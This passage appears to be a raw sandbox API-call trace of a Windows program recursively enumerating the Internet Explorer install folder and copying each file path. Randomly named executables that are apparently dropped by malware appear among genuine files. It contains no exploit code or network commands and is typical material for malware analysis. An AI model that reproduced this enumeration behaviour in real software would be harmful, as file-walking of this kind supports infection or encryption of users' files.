Explorer\\efforts-extreme-quantity-reproductive.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\efforts-extreme-quantity-reproductive.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\efforts-extreme-quantity-reproductive.exe" [0118.605] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.605] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0118.605] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0118.605] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0118.605] lstrlenW (lpString="en-US") returned 5 [0118.605] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US" [0118.605] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\" [0118.605] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0118.605] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\*") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\*" [0118.605] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Internet Explorer\\en-US\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0118.606] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0118.606] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.606] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0118.606] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.606] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.606] lstrcmpW (lpString1="hmmapi.dll.mui", lpString2=".") returned 1 [0118.606] lstrcmpW (lpString1="hmmapi.dll.mui", lpString2="..") returned 1 [0118.607] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0118.607] lstrlenW (lpString="hmmapi.dll.mui") returned 14 [0118.607] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="hmmapi.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\hmmapi.dll.mui" [0118.607] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 61 [0118.607] lstrcpyW (in: lpString1=0x5bf8f8, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\hmmapi.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\hmmapi.dll.mui" [0118.607] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.607] lstrcmpW (lpString1="iedvtool.dll.mui", lpString2=".") returned 1 [0118.607] lstrcmpW (lpString1="iedvtool.dll.mui", lpString2="..") returned 1 [0118.607] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0118.607] lstrlenW (lpString="iedvtool.dll.mui") returned 16 [0118.607] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="iedvtool.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iedvtool.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iedvtool.dll.mui" [0118.607] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iedvtool.dll.mui") returned 63 [0118.607] lstrcpyW (in: lpString1=0x5bf980, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iedvtool.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iedvtool.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iedvtool.dll.mui" [0118.607] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.607] lstrcmpW (lpString1="ieinstal.exe.mui", lpString2=".") returned 1 [0118.607] lstrcmpW (lpString1="ieinstal.exe.mui", lpString2="..") returned 1 [0118.607] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0118.607] lstrlenW (lpString="ieinstal.exe.mui") returned 16 [0118.607] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="ieinstal.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ieinstal.exe.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ieinstal.exe.mui" [0118.607] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ieinstal.exe.mui") returned 63 [0118.607] lstrcpyW (in: lpString1=0x5bfa08, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ieinstal.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ieinstal.exe.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ieinstal.exe.mui" [0118.607] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.607] lstrcmpW (lpString1="ielowutil.exe.mui", lpString2=".") returned 1 [0118.607] lstrcmpW (lpString1="ielowutil.exe.mui", lpString2="..") returned 1 [0118.607] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0118.607] lstrlenW (lpString="ielowutil.exe.mui") returned 17 [0118.607] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="ielowutil.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ielowutil.exe.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ielowutil.exe.mui" [0118.607] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ielowutil.exe.mui") returned 64 [0118.607] lstrcpyW (in: lpString1=0x5bfa90, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ielowutil.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ielowutil.exe.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ielowutil.exe.mui" [0118.607] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.607] lstrcmpW (lpString1="iexplore.exe.mui", lpString2=".") returned 1 [0118.607] lstrcmpW (lpString1="iexplore.exe.mui", lpString2="..") returned 1 [0118.607] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0118.607] lstrlenW (lpString="iexplore.exe.mui") returned 16 [0118.607] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="iexplore.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iexplore.exe.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iexplore.exe.mui" [0118.607] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iexplore.exe.mui") returned 63 [0118.607] lstrcpyW (in: lpString1=0x5bfb20, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iexplore.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iexplore.exe.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iexplore.exe.mui" [0118.607] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.607] lstrcmpW (lpString1="jsdbgui.dll.mui", lpString2=".") returned 1 [0118.607] lstrcmpW (lpString1="jsdbgui.dll.mui", lpString2="..") returned 1 [0118.607] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0118.607] lstrlenW (lpString="jsdbgui.dll.mui") returned 15 [0118.607] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="jsdbgui.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdbgui.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdbgui.dll.mui" [0118.607] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdbgui.dll.mui") returned 62 [0118.607] lstrcpyW (in: lpString1=0x5bfba8, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdbgui.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdbgui.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdbgui.dll.mui" [0118.607] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.607] lstrcmpW (lpString1="jsdebuggeride.dll.mui", lpString2=".") returned 1 [0118.607] lstrcmpW (lpString1="jsdebuggeride.dll.mui", lpString2="..") returned 1 [0118.607] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0118.607] lstrlenW (lpString="jsdebuggeride.dll.mui") returned 21 [0118.608] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="jsdebuggeride.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui" [0118.608] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui") returned 68 [0118.608] lstrcpyW (in: lpString1=0x5bfc30, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui" [0118.608] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.608] lstrcmpW (lpString1="JSProfilerCore.dll.mui", lpString2=".") returned 1 [0118.608] lstrcmpW (lpString1="JSProfilerCore.dll.mui", lpString2="..") returned 1 [0118.608] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0118.608] lstrlenW (lpString="JSProfilerCore.dll.mui") returned 22 [0118.608] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="JSProfilerCore.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui" [0118.608] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui") returned 69 [0118.608] lstrcpyW (in: lpString1=0x5bfcc8, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui" [0118.608] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.608] lstrcmpW (lpString1="jsprofilerui.dll.mui", lpString2=".") returned 1 [0118.608] lstrcmpW (lpString1="jsprofilerui.dll.mui", lpString2="..") returned 1 [0118.608] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0118.608] lstrlenW (lpString="jsprofilerui.dll.mui") returned 20 [0118.608] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="jsprofilerui.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsprofilerui.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsprofilerui.dll.mui" [0118.608] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsprofilerui.dll.mui") returned 67 [0118.608] lstrcpyW (in: lpString1=0x5bfd60, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsprofilerui.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsprofilerui.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsprofilerui.dll.mui" [0118.608] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0118.608] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0118.608] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.608] lstrcmpW (lpString1="ExtExport.exe", lpString2=".") returned 1 [0118.608] lstrcmpW (lpString1="ExtExport.exe", lpString2="..") returned 1 [0118.608] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0118.608] lstrlenW (lpString="ExtExport.exe") returned 13 [0118.608] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="ExtExport.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe" [0118.608] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe") returned 54 [0118.608] lstrcpyW (in: lpString1=0x24a0420, lpString2="c:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe" [0118.609] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.609] lstrcmpW (lpString1="hmmapi.dll", lpString2=".") returned 1 [0118.609] lstrcmpW (lpString1="hmmapi.dll", lpString2="..") returned 1 [0118.609] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0118.609] lstrlenW (lpString="hmmapi.dll") returned 10 [0118.609] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="hmmapi.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\hmmapi.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\hmmapi.dll" [0118.609] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\hmmapi.dll") returned 51 [0118.609] lstrcpyW (in: lpString1=0x5bfdf0, lpString2="c:\\Program Files (x86)\\Internet Explorer\\hmmapi.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\hmmapi.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\hmmapi.dll" [0118.609] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.609] lstrcmpW (lpString1="ie8props.propdesc", lpString2=".") returned 1 [0118.609] lstrcmpW (lpString1="ie8props.propdesc", lpString2="..") returned 1 [0118.609] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0118.609] lstrlenW (lpString="ie8props.propdesc") returned 17 [0118.609] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="ie8props.propdesc" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ie8props.propdesc") returned="c:\\Program Files (x86)\\Internet Explorer\\ie8props.propdesc" [0118.609] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\ie8props.propdesc") returned 58 [0118.609] lstrcpyW (in: lpString1=0x5bfe60, lpString2="c:\\Program Files (x86)\\Internet Explorer\\ie8props.propdesc" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ie8props.propdesc") returned="c:\\Program Files (x86)\\Internet Explorer\\ie8props.propdesc" [0118.609] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.609] lstrcmpW (lpString1="iecompat.dll", lpString2=".") returned 1 [0118.609] lstrcmpW (lpString1="iecompat.dll", lpString2="..") returned 1 [0118.609] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0118.609] lstrlenW (lpString="iecompat.dll") returned 12 [0118.609] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="iecompat.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\iecompat.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\iecompat.dll" [0118.609] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\iecompat.dll") returned 53 [0118.609] lstrcpyW (in: lpString1=0x24a0498, lpString2="c:\\Program Files (x86)\\Internet Explorer\\iecompat.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\iecompat.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\iecompat.dll" [0118.609] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.609] lstrcmpW (lpString1="iedvtool.dll", lpString2=".") returned 1 [0118.609] lstrcmpW (lpString1="iedvtool.dll", lpString2="..") returned 1 [0118.609] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0118.609] lstrlenW (lpString="iedvtool.dll") returned 12 [0118.609] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="iedvtool.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\iedvtool.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\iedvtool.dll" [0118.609] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\iedvtool.dll") returned 53 [0118.609] lstrcpyW (in: lpString1=0x24a0510, lpString2="c:\\Program Files (x86)\\Internet Explorer\\iedvtool.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\iedvtool.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\iedvtool.dll" [0118.609] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.609] lstrcmpW (lpString1="ieinstal.exe", lpString2=".") returned 1 [0118.609] lstrcmpW (lpString1="ieinstal.exe", lpString2="..") returned 1 [0118.609] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0118.609] lstrlenW (lpString="ieinstal.exe") returned 12 [0118.609] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="ieinstal.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe" [0118.609] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe") returned 53 [0118.609] lstrcpyW (in: lpString1=0x24a0588, lpString2="c:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe" [0118.609] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.609] lstrcmpW (lpString1="ielowutil.exe", lpString2=".") returned 1 [0118.609] lstrcmpW (lpString1="ielowutil.exe", lpString2="..") returned 1 [0118.609] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0118.609] lstrlenW (lpString="ielowutil.exe") returned 13 [0118.609] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="ielowutil.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe" [0118.609] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe") returned 54 [0118.609] lstrcpyW (in: lpString1=0x24a0600, lpString2="c:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe" [0118.610] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.610] lstrcmpW (lpString1="ieproxy.dll", lpString2=".") returned 1 [0118.610] lstrcmpW (lpString1="ieproxy.dll", lpString2="..") returned 1 [0118.610] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0118.610] lstrlenW (lpString="ieproxy.dll") returned 11 [0118.610] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="ieproxy.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ieproxy.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\ieproxy.dll" [0118.610] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\ieproxy.dll") returned 52 [0118.610] lstrcpyW (in: lpString1=0x24a0678, lpString2="c:\\Program Files (x86)\\Internet Explorer\\ieproxy.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ieproxy.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\ieproxy.dll" [0118.610] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.610] lstrcmpW (lpString1="IEShims.dll", lpString2=".") returned 1 [0118.610] lstrcmpW (lpString1="IEShims.dll", lpString2="..") returned 1 [0118.610] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0118.610] lstrlenW (lpString="IEShims.dll") returned 11 [0118.610] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="IEShims.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\IEShims.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\IEShims.dll" [0118.610] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\IEShims.dll") returned 52 [0118.610] lstrcpyW (in: lpString1=0x24a06f0, lpString2="c:\\Program Files (x86)\\Internet Explorer\\IEShims.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\IEShims.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\IEShims.dll" [0118.610] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.610] lstrcmpW (lpString1="iexplore.exe", lpString2=".") returned 1 [0118.610] lstrcmpW (lpString1="iexplore.exe", lpString2="..") returned 1 [0118.610] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0118.610] lstrlenW (lpString="iexplore.exe") returned 12 [0118.610] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="iexplore.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\iexplore.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" [0118.610] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\iexplore.exe") returned 53 [0118.610] lstrcpyW (in: lpString1=0x24a0768, lpString2="c:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\iexplore.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" [0118.610] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.610] lstrcmpW (lpString1="instrumentationendorsementcivilizationcommentary.exe", lpString2=".") returned 1 [0118.610] lstrcmpW (lpString1="instrumentationendorsementcivilizationcommentary.exe", lpString2="..") returned 1 [0118.610] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0118.610] lstrlenW (lpString="instrumentationendorsementcivilizationcommentary.exe") returned 52 [0118.610] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="instrumentationendorsementcivilizationcommentary.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\instrumentationendorsementcivilizationcommentary.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\instrumentationendorsementcivilizationcommentary.exe" [0118.610] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\instrumentationendorsementcivilizationcommentary.exe") returned 93 [0118.610] lstrcpyW (in: lpString1=0x5bfee0, lpString2="c:\\Program Files (x86)\\Internet Explorer\\instrumentationendorsementcivilizationcommentary.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\instrumentationendorsementcivilizationcommentary.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\instrumentationendorsementcivilizationcommentary.exe" [0118.610] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.610] lstrcmpW (lpString1="jsdbgui.dll", lpString2=".") returned 1 [0118.610] lstrcmpW (lpString1="jsdbgui.dll", lpString2="..") returned 1 [0118.610] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0118.610] lstrlenW (lpString="jsdbgui.dll") returned 11 [0118.610] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="jsdbgui.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\jsdbgui.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\jsdbgui.dll" [0118.610] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\jsdbgui.dll") returned 52 [0118.610] lstrcpyW (in: lpString1=0x24a07e0, lpString2="c:\\Program Files (x86)\\Internet Explorer\\jsdbgui.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\jsdbgui.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\jsdbgui.dll" [0118.610] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.610] lstrcmpW (lpString1="jsdebuggeride.dll", lpString2=".") returned 1 [0118.610] lstrcmpW (lpString1="jsdebuggeride.dll", lpString2="..") returned 1 [0118.610] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0118.610] lstrlenW (lpString="jsdebuggeride.dll") returned 17 [0118.610] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="jsdebuggeride.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\jsdebuggeride.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\jsdebuggeride.dll" [0118.610] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\jsdebuggeride.dll") returned 58 [0118.610] lstrcpyW (in: lpString1=0x24a1048, lpString2="c:\\Program Files (x86)\\Internet Explorer\\jsdebuggeride.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\jsdebuggeride.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\jsdebuggeride.dll" [0118.610] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.610] lstrcmpW (lpString1="JSProfilerCore.dll", lpString2=".") returned 1 [0118.611] lstrcmpW (lpString1="JSProfilerCore.dll", lpString2="..") returned 1 [0118.611] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0118.611] lstrlenW (lpString="JSProfilerCore.dll") returned 18 [0118.611] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="JSProfilerCore.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\JSProfilerCore.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\JSProfilerCore.dll" [0118.611] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\JSProfilerCore.dll") returned 59 [0118.611] lstrcpyW (in: lpString1=0x24a10c8, lpString2="c:\\Program Files (x86)\\Internet Explorer\\JSProfilerCore.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\JSProfilerCore.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\JSProfilerCore.dll" [0118.611] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.611] lstrcmpW (lpString1="jsprofilerui.dll", lpString2=".") returned 1 [0118.611] lstrcmpW (lpString1="jsprofilerui.dll", lpString2="..") returned 1 [0118.611] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0118.611] lstrlenW (lpString="jsprofilerui.dll") returned 16 [0118.611] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="jsprofilerui.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\jsprofilerui.dll") returned="c:\\Program Files (x86)\\Internet 